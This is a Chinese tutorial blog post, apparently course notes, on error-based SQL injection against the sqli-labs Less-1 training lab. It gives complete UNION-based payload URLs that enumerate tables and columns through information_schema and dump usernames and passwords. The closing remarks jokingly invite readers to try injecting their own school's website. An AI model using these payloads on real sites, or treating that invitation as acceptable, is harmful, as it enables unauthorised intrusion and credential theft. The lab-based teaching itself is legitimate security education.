如何学习网络安全?手把手带你跟着b站一起学——第四节:显错注入(代码片段)

大白小浪 大白小浪     2022-12-21     752

关键词:

前言

  • 为什么要学习网络安全?
    首先,为什么要学习网络安全呢?在这个互联网主宰的世界里,信息无处不在,数据决定一切!你不能保证自己的安全无疑是在网络上脱光衣服裸奔!你可以把自己的安全交给别人,但是不能把自己的命运把握在别人手里!
  • 什么时候开始学习网络安全?
    应该来说是一种顺其自然的过程。网络安全是一门大类学科,要学的东西很多,先学好计算机基础知识,计算机网络基础知识,再来是学习一些基础语言,基础语法,会些基础运用,不用都很懂,循序渐进,顺其自然。

这里不谈学习路线,不说学习方法,只是记录本人在学习过程中的笔记与心得体会。

B站学习网址:黑客攻防技术学习路线-网络安全渗透测试教程全解析

上节课学习到了:如何学习网络安全?手把手带你跟着B站一起学——第三节:演示永恒之蓝-MSF初探

显错注入

什么是显错注入?
像程序语言在运行过程中如果遇到一些逻辑或者语句之类的问题会报错,如果管理员没有关闭报错机制的话,我们可以尝试让对方报错时对方会显示一些东西,这就叫显错注入。如果对方关闭了报错机制的话,这就叫盲注

数据库的结构

数据库结构是指在计算机的存储设备上合理存放的相关联的有结构的数据集合的结构。一个数据库结构含有各种成分,包括数据库、数据表、字段等。MySQL的端口是3306

数据库内置函数

连接数据库这里就不多说了,具体可百度,这里使用SQLyog连接虚拟机win2003,注意远程连接数据前开启数据库远程连接权限即可!

  • @@datadir 函数
    作用:返回数据库的存储目录
    SQL语句: select @@datadir ()

  • @@version_compile_os 函数
    作用:查看服务器的操作系统
    SQL语句:select @@version_compile_os;

  • database() 函数
    作用:查看当前连接的数据库名称
    SQL语句:select database();

  • user() 函数
    作用:查看当前连接的数据库的用户
    SQL语句:select user();

  • version() 函数
    作用:查看数据库的版本(知道对方数据库的版本后可去百度查找已知版本漏洞)
    SQL语句:select version();

MySQL用版本之分

5.0以上可以借助内置库information_schema下面的tables表,columns表来完成注入
tables表:存放着整个数据库所有的表名
columns:存放着整个数据库所有的列名

数据库的攻击思路和漏洞原理

如何去操控对方的数据库?——进而控制对方的服务器?——控制对方的电脑?

了解完数据库的结构和数据库的内置函数之后呢,你会清晰地明白一个东西:作为一个正常的程序猿,想要去知道对方的列名里面的数据的前提是知道对方数据库的表名和列名,才能知道里面的数据内容。

数据库注入的漏洞原理(注入原理):
web应用程序对用户输入的信息过滤的不严谨或者没有过滤(数据库的关键字),并将用户输入的数据当做SQL语句带入到数据库中查询(正常执行SQL语句)。

在数据库中执行的结果(背后的逻辑)在网站中执行的结果
执行结果正常显示显示一部分,不显示一部分(显示的不完全)
执行结果报错报错

咋们先访问win2003虚拟机靶机sqli下的Less-1

然后咋们找到网站根目录下网站路径的源代码,依此来好好分析分析

如何确认是否存在SQL注入漏洞?

看看它会不会把我输入的数据当做SQL语句带入到数据库中查询(执行),当我们特意输入一些关键字例如“ ’ ”等时,它报错了,说明存在SQL注入

看到我们的源代码,我们可以很轻松地发现其存在SQL注入漏洞

一般情况下呢,我们也可以试试以下两种方法,如果报错说明可能存在SQL注入漏洞

1-逻辑判断+闭合确定注入点

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 --+

解析原理:根据上面我们PHP的源代码可以轻易地发现

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
当我们在网页端输入的是 “?id=1' and 1=2 --+”,即$id = 1' and 1=2 --+SQL语句会变成:"SELECT * FROM users WHERE id='1' and 1=2 --+' LIMIT 0,1";
--+是注释符号,除此之外还有#,%23等

2、猜字段 order by 二分法

我们可以通过order by + 二分法猜出表有多少个字段

当你输入order by 3 的时候,能正常显示,说明起码有3个字段

当你输入order by 4 的时候,报错了,说明只有3个字段

注入(payload)的核心:

http://192.168.1.106/sqli/less-1/?id=1' XXXXXXXXXX --+

所以我们可以发现,payload的核心在于单引号和注释,在单引号和注释中间这段位置你可以随意发挥

3、联合查询 union select

用unino连接,左边的字段数量要和右边的一致,即:
左边 union select 右边

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,2,3--+

通过联合查询可以得到显错位

4、利用内置函数收集信息

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,database(),version()--+

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,@@datadir,@@version_compile_os--+

解释:
	database() 当前数据库id
	version() 数据库版本
	@@datadir 当前数据库存放路径
	@@version_compile_os 当前服务器的版本
	user() 当前链接数据库的用户

例:

这里就不过多解释了,懂得都懂了,不懂的再回去看看视频

5、爆表名

接下来我们开始爆表名,爆列名,因为你不爆表名,爆列名是不能知道里面的一个内容的

首先我们得知道,information_schema下面的tables这张表包含了全部数据库的表名

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union 
select 1,2,group_concat(table_name) from 
information_schema.tables where table_schema='security' --+

执行这段语句,将会得到数据库名为security 里面的所有的表名

这里group_concat()是什么意思可以参考这篇:浅析MySQL中concat以及group_concat的使用

6、爆列名

information_schema下面的columns这张表包含了全部数据库的列名

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

执行这段语句,将会得到表名为users 里面的所有的列名

7、获取字段内容数据

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union 
select 1,2,group_concat(username) from 
users --+

执行这段语句,将会得到users表下的所有账号名称username

http://192.168.1.106/sqli/less-1/?id=1' and 1=2 union 
select 1,2,group_concat(password) from 
users --+

执行这段语句,将会得到users表下的所有账号密码password


到这里呢,我只想说一句:太可怕了!(太牛逼了)

回顾

首先为什么会出现显错注入呢?原因是管理员没有关闭错误回显

  • 错误回显是可以被预定义的

然后我们要去闭合,闭合的目的是为了让我们输入的语句被独立出来,能够被数据库执行,为了避免干扰我们用注释符号结尾(注释符号后面内容将不会被执行)

闭合之后呢,我们也知道他存在注入点了,然后我们用order by方法来猜测其数据库表有多少列

然后我们用联合查询来确定显错位

确认显错位后呢我们用一些内置函数来收集信息,在显错位上得到一些关键的数据

之后呢,我们就开始爆表名,爆列名,获取到一些关键信息

之后我们就利用这些表名和列名可以获取到一些具体的内容

后话

学习完这篇之后,我有个小冲动,利用Python写个获取数据库username和password的小脚本,先按照上面原理注入一下,获取到信息之后利用爬取网站源代码将信息存储在本地…有兴趣的同学也可以试试

据说一些学校的网站也没有充分的安全措施,有没有小伙伴想试试注入注入自家后花园呢?(三年起步~)

强化学习⚠️手把手带你走进强化学习1⚠️强化学习简介

【强化学习】⚠️手把手带你走进强化学习1⚠️强化学习简介概述机器学习的分类为什么要学强化学习强化学习的组成概述从今天开始我们会开启一个新的篇章,带领大家来一起学习(卷进)强化学习(ReinforcementLearning).强化学习基... 查看详情

强化学习⚠️手把手带你走进强化学习1⚠️强化学习简介

【强化学习】⚠️手把手带你走进强化学习1⚠️强化学习简介概述机器学习的分类为什么要学强化学习强化学习的组成概述从今天开始我们会开启一个新的篇章,带领大家来一起学习(卷进)强化学习(ReinforcementLearning).强化学习基... 查看详情

推荐系统⚠️手把手带你学推荐系统1⚠️简介

【推荐系统】⚠️手把手带你学推荐系统1⚠️简介概述为什么要学推荐系统相似度计算欧几里德距离皮尔逊相关系数余弦相似度概述推荐系统(RecommenderSystem)是一个信息过滤系统,在很多领域都有广泛的使用.推荐系统可以为用户... 查看详情

#跟着小白一起学鸿蒙#[番外]一起学做flappybird(代码片段)

...久以前有个大火的像素游戏叫FlappyBird,我们就一起看看如何能用OpenHarmony学习做个FlappyBird。本文中引用的图片资源均来自与Github。开发1.HAP应用建立《#跟着小白一起学鸿蒙#[六]如何编写一个hap应用》里我们介绍了简单的Hap应用... 查看详情

carson带你学数据结构:手把手教你学习-树

前言本文主要讲解数据结构中的树结构内容包括其特点、结构等,希望你们会喜欢。目录1.定义2.基础概念对于树的数据结构,有许多基础概念,具体请看下图3.存储结构树的存储结构包括:双亲表示法、孩子表示... 查看详情

❤️大佬都在学什么?python爬虫分析c站大佬收藏夹,跟着大佬一起学,你就是下一个大佬❤️!(代码片段)

...可视化前言计算机行业的发展太快了,有时候几天不学习,就被时代所抛弃了,因此对于我们程序员而言,最重要 查看详情

手把手带你学习神经机器翻译--模型篇(代码片段)

文章目录1、深度神经网络1.1、全连接神经网络1.2、循环神经网络1.2.1、RNN模型代码1.3、卷积神经网络1.4、基于循环神经网络的深度神经序列模型1.4.1Lstm模型实现代码1.5、基于卷积神经网络的深度神经网络模型1.5.1、CNN(fconv&#x... 查看详情

推荐系统⚠️手把手带你学推荐系统2⚠️协同过滤

【推荐系统】⚠️手把手带你学推荐系统2⚠️协同过滤概述协同过滤基于用户的协同过滤基于物品的协同过滤对比概述推荐系统(RecommenderSystem)是一个信息过滤系统,在很多领域都有广泛的使用.推荐系统可以为用户提供个性化的... 查看详情

#盲盒+码##跟着小白一起学鸿蒙#[番外三]一起学做tetris(上)(代码片段)

...游戏叫俄罗斯方块,大人小孩都喜欢玩,我们就一起看看如何能用OpenHarmony学习做个Tetris。开发1.HAP应用建立《#跟着小白一起学鸿蒙#[六]如何编写一个hap应用》里我们介绍了简单的Hap应用的开发以及基础控件的介绍,这里我们就... 查看详情

推荐系统手把手带你学推荐系统4知识补充

【推荐系统】⚠️手把手带你学推荐系统4⚠️知识补充概述推荐系统流程数据收集AB测试概述推荐系统(RecommenderSystem)是一个信息过滤系统,在很多领域都有广泛的使用.推荐系统可以为用户提供个性化的产品,挖掘用户的潜在需求.... 查看详情

#盲盒+码##跟着小白一起学鸿蒙#如何编译openharmony自带app(代码片段)

如何编译OpenHarmony自带APP作者:王石概述OpenHarmony的主干代码是开源社区的重要学习资源,对于想进行应用开发和熟悉OpenHarmony能力的同学主干代码是非常重要的资源,在主干代码的applications目录里聚集了很多原生的应用实现,那... 查看详情

推荐系统手把手带你学推荐系统3实现第一个推荐系统(代码片段)

【推荐系统】手把手带你学推荐系统3实现第一个推荐系统概述基于排名的推荐系统代码实现概述推荐系统(RecommenderSystem)是一个信息过滤系统,在很多领域都有广泛的使用.推荐系统可以为用户提供个性化的产品,挖掘用户的潜在需... 查看详情

跟我20天学java:03-6个案例手把手带你学循环结构

更多Java全套学习资源均在专栏,持续更新中↑↑戳进去领取~🍅2022年全新Java学习路线图,含源码+笔记,另附在职提升课🍅跟我20天学Java:01-计算机基础以及JDK、IDEA等安装详解🍅跟我20天学Java࿱... 查看详情

强化学习⚠️手把手带你走进强化学习2⚠️opp算法实现月球登陆器(代码片段)

【强化学习】⚠️手把手带你走进强化学习2⚠️OPP算法实现月球登陆器概述强化学习算法种类PPO算法Actor-Critic算法GymLunarLander-v2启动登陆器PPO算法实现月球登录器PPOmain输出结果概述从今天开始我们会开启一个新的篇章,带领大家... 查看详情

强化学习⚠️手把手带你走进强化学习2⚠️opp算法实现月球登陆器(pytorch版)(代码片段)

【强化学习】⚠️手把手带你走进强化学习2⚠️OPP算法实现月球登陆器概述强化学习算法种类PPO算法Actor-Critic算法GymLunarLander-v2启动登陆器PPO算法实现月球登录器PPOmain输出结果概述从今天开始我们会开启一个新的篇章,带领大家... 查看详情

强化学习⚠️手把手带你走进强化学习3⚠️opp算法实现月球登陆器(tensorflow2版)(代码片段)

【强化学习】⚠️手把手带你走进强化学习3⚠️OPP算法实现月球登陆器概述强化学习算法种类PPO算法Actor-Critic算法GymLunarLander-v2启动登陆器PPO算法实现月球登录器PPOmain输出结果概述从今天开始我们会开启一个新的篇章,带领大家... 查看详情

强化学习⚠️手把手带你走进强化学习3⚠️opp算法实现月球登陆器(tensorflow2版)(代码片段)

【强化学习】⚠️手把手带你走进强化学习3⚠️OPP算法实现月球登陆器概述强化学习算法种类PPO算法Actor-Critic算法GymLunarLander-v2启动登陆器PPO算法实现月球登录器PPOmain输出结果概述从今天开始我们会开启一个新的篇章,带领大家... 查看详情

手把手带你玩转spark机器学习-使用spark进行文本处理(代码片段)

系列文章目录手把手带你玩转Spark机器学习-专栏介绍手把手带你玩转Spark机器学习-问题汇总手把手带你玩转Spark机器学习-Spark的安装及使用手把手带你玩转Spark机器学习-使用Spark进行数据处理和数据转换手把手带你玩转Spark机器学... 查看详情